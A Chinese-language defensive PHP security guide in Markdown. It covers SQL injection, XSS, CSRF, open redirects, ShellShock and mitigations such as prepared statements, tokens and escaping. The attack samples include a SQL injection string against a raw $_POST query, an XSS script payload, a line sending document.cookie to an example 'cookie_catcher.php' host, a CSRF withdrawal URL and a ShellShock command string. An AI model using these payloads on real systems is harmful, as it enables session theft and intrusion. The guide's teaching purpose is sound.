Skip to content

Latest commit

 

History

History
executable file
·
181 lines (109 loc) · 6.72 KB

dev_php_defense.md

File metadata and controls

executable file
·
181 lines (109 loc) · 6.72 KB

PHP防禦性開發指南

本篇重點在PHP網路應用程式開發上

待補完

授權方式 CC: BY-SA

核心概念

  • 最小權限原則
  • 永遠不要信任使用者輸入
  • 留心輸出
  • 留意系統邊界
  • 沒有打不穿的系統,只有做了多少準備

攻擊範例

SQL Injection

http://140.121.80.184/tmpPHP/20151215work5.php

   s2' AND 1=1 -- 

   $sql = "select * from userData where account='$_POST[$s_name]' and password=password('$_POST[$s_pw]')";

XSS

PHP這樣寫

   <?php
   $name = $_GET['name'];
   echo "Welcome $name<br>";
   echo "<a href="[](http://xssattackexamples.com/)[http://xssattackexamples.com/](http://xssattackexamples.com/)">Click to Download</a>";
   ?>

但是...

   index.php?name=guest<script>alert('attacked')</script>

駭客這麼做

   document.location= "[](http://www.example.com/cookie_catcher.php?c=)[http://www.example.com/cookie_catcher.php?c=](http://www.example.com/cookie_catcher.php?c=)" + document.cookie

CSRF

著名範例:Microsoft MySpace worm

https://en.wikipedia.org/wiki/Samy_(computer_worm

https://zh.wikipedia.org/wiki/%E8%B7%A8%E7%AB%99%E8%AF%B7%E6%B1%82%E4%BC%AA%E9%80%A0

假如一家銀行用以執行轉帳操作的URL地址如下: http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
那麼,一個惡意攻擊者可以在網站上放置如下代碼:
如果有賬戶名為Alice的用戶訪問了惡意站點,而她之前剛訪問過銀行不久,登錄信息尚未過期,那麼她就會損失1000資金。

未經檢核的重新導向

台泥跟goo.gl常被用來隱藏惡意程式位置

權限控管系統的失敗

提供API,卻沒有做好權限驗證,直接吐資料出來,或是該過期未過期的Token,或是可以被預測的產生法

http://www.freebuf.com/articles/92211.html

該死的預設設定

函式庫弱點

CVE-2014 HeartBleed

http://devco.re/blog/2014/04/09/openssl-heartbleed-CVE-2014-0160/

語言弱點&code Injection

CVE-2014-6271 ShellShock

   () { :;}; /bin/bash -c "echo testing9123123"; /bin/uname -a

http://devco.re/blog/2014/09/30/shellshock-CVE-2014-6271/

應用程序安全風險評量

防衛重點模組

  • PHP程式
  • 資料庫
  • Session & Cookie
  • 使用者瀏覽器
  • 檔案儲存區
  • 架構與架構之間的夾縫

常見防禦方式

對付SQL Injection

SQL Inject的核心意義是:

對策:Prepared statement

http://php.net/manual/en/mysqli.quickstart.prepared-statements.php

/* Prepared statement, stage 1: prepare */
   if (!($stmt = $mysqli->prepare("INSERT INTO test(id) VALUES (?)"))) {
       echo "Prepare failed: (" . $mysqli->errno . ") " . $mysqli->error;
   }
   /* Prepared statement, stage 2: bind and execute */
   $id = 1;
   if (!$stmt->bind_param("i", $id)) {
       echo "Binding parameters failed: (" . $stmt->errno . ") " . $stmt->error;
   }
   if (!$stmt->execute()) {
       echo "Execute failed: (" . $stmt->errno . ") " . $stmt->error;
   }

除了避免語句被竄改,也有加速執行重複語句的效果,因為先準備好了SQL語句編譯的部分

對付CSRF

對策:token

XSS

對策:字串過濾、Escape

https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

函式庫ㄖ

http://blog.spoock.com/2016/06/25/weakly-typed-security/

語言弱點、伺服器弱點

對策:留意更新,上線前進行黑白箱測試

如何檢核

  • 完善設計,重複檢核
  • Unit Test
  • 弱點掃描
  • 白箱測試
  • 黑箱測試
  • 隨時更新攻擊資訊

攻擊資訊參考

OWASP Top 10 https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

USCERT https://www.us-cert.gov/

TWCERT http://twcertcc.org.tw/

Security Focus http://www.securityfocus.com/

ExploitDB https://www.exploit-db.com/

DevCore http://devco.re/blog/

烏雲網 http://www.wooyun.org/

VulReport漏洞回報平台 https://vulreport.net/

Hitcon Zeroday 漏洞回報平台 https://zeroday.hitcon.org/

各大廠商安全通報mail list (例如ubuntu https://lists.ubuntu.com/mailman/listinfo/ubuntu-security-announce )

Hacker Friendly http://hacker-friendly.com/

The Hacker News https://www.facebook.com/thehackernews/?fref=ts

參考資料